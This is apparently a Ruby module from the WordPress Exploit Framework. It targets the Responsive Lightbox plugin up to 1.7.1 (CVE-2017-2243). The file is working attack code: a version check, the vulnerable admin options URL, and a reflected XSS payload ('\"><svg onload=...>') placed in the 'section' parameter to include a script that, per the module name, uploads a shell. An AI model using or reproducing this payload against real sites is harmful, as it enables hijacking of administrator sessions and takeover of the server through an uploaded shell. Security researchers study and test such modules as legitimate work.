# frozen_string_literal: true

class Wpxf::Exploit::ResponsiveLightboxReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Responsive Lightbox <= 1.7.1 Reflected XSS Shell Upload',
      author: [
        'Chris Liu', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8860'],
        ['CVE', '2017-2243'],
        ['URL', 'http://jvn.jp/en/jp/JVN39819446/index.html']
      ],
      date: 'Jul 04 2017'
    )
  end

  def check
    check_plugin_version_from_readme('responsive-lightbox', '1.7.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php')
  end

  def url_payload
    url_encode("\"><svg onload=#{xss_ascii_encoded_include_script}><!--")
  end

  def url_with_xss
    "#{vulnerable_url}?page=responsive-lightbox&tab=configuration&section=#{url_payload}"
  end
end
